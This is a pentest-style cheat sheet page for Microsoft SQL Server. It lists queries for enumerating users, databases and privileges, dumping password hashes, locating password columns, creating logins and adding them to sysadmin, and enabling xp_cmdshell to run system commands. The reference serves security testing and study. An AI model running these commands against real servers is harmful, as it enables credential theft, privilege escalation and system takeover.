pwny.cc
Search…
MSSQL
Some of the queries in the table below can only be run by an admin. These are marked with (PRIV) at the description.

Version

1
SELECT @@version;
Copied!

Comments

1
SELECT 1 -- comment
2
SELECT /*comment*/1
Copied!

Current User

1
SELECT user_name();
2
SELECT system_user;
3
SELECT user;
4
SELECT loginame FROM master..sysprocesses WHERE spid == @@SPID
Copied!

List Users

1
SELECT name FROM master..syslogins
Copied!

List Password Hashes (PRIV)

1
#MSSQL 2000
2
SELECT name, password FROM master..sysxlogins;
3
4
#MSSQL 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
5
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;
6
7
#MSSQL 2005
8
SELECT name, password_hash FROM master.sys.sql_logins;
9
10
#MSSQL 2005
11
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;
Copied!

List Privileges

1
#Current privs on a particular object in 2005, 2008
2
##Current database
3
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE');
4
##Current server
5
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER');
6
##Permissions on a table
7
SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT');
8
SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
9
10
#Permissions on a user-current privs in 2005, 2008
11
SELECT is_srvrolemember('sysadmin');
12
SELECT is_srvrolemember('dbcreator');
13
SELECT is_srvrolemember('bulkadmin');
14
SELECT is_srvrolemember('diskadmin');
15
SELECT is_srvrolemember('processadmin');
16
SELECT is_srvrolemember('serveradmin');
17
SELECT is_srvrolemember('setupadmin');
18
SELECT is_srvrolemember('securityadmin');
19
20
#Who has a particular priv? 2005, 2008
21
SELECT name FROM master..syslogins WHERE denylogin = 0;
22
SELECT name FROM master..syslogins WHERE hasaccess = 1;
23
SELECT name FROM master..syslogins WHERE isntname = 0;
24
SELECT name FROM master..syslogins WHERE isntgroup = 0;
25
SELECT name FROM master..syslogins WHERE sysadmin = 1;
26
SELECT name FROM master..syslogins WHERE securityadmin = 1;
27
SELECT name FROM master..syslogins WHERE serveradmin = 1;
28
SELECT name FROM master..syslogins WHERE setupadmin = 1;
29
SELECT name FROM master..syslogins WHERE processadmin = 1;
30
SELECT name FROM master..syslogins WHERE diskadmin = 1;
31
SELECT name FROM master..syslogins WHERE dbcreator = 1;
32
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
Copied!

List DBA Accounts

1
#Is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’.
2
SELECT is_srvrolemember('sysadmin');
3
4
#Is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
5
SELECT is_srvrolemember('sysadmin', 'sa');
6
7
#MSSQL 2005
8
SELECT name FROM master..syslogins WHERE sysadmin = '1';
Copied!

Current Database

1
SELECT DB_NAME();
Copied!

List Databases

1
SELECT name FROM master..sysdatabases;
2
SELECT DB_NAME(N);
Copied!

List Tables

1
#Use xtype = 'V' for views
2
SELECT name FROM master..sysobjects WHERE xtype = 'U';
3
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
4
5
#List colum names and types for master..sometable
6
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
Copied!

List Columns

1
#For current DB only
2
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');
3
4
#List colum names and types for master..sometableFind Tables from Column Name
5
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
Copied!

Find Tables from Column Name

1
#This lists table, column for each column containing the word 'password'
2
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%';
Copied!

Hostname, IP Address

1
SELECT HOST_NAME();
Copied!

Create Users (PRIV)

1
EXEC sp_addlogin 'user', 'pass';
Copied!

Delete Users (PRIV)

1
EXEC sp_droplogin 'user';
Copied!

Make User DBA (PRIV)

1
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
Copied!

Location of DB Files

1
#Location of master.mdf
2
EXEC sp_helpdb master;
3
4
#Location of pubs.mdf
5
EXEC sp_helpdb pubs;
Copied!

Command Execution (PRIV)

1
#On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default
2
EXEC xp_cmdshell 'net user';
3
--
4
EXEC sp_configure 'show advanced options', 1;
5
RECONFIGURE;
6
7
EXEC sp_configure 'xp_cmdshell', 1;
8
RECONFIGURE;
Copied!
Last modified 8mo ago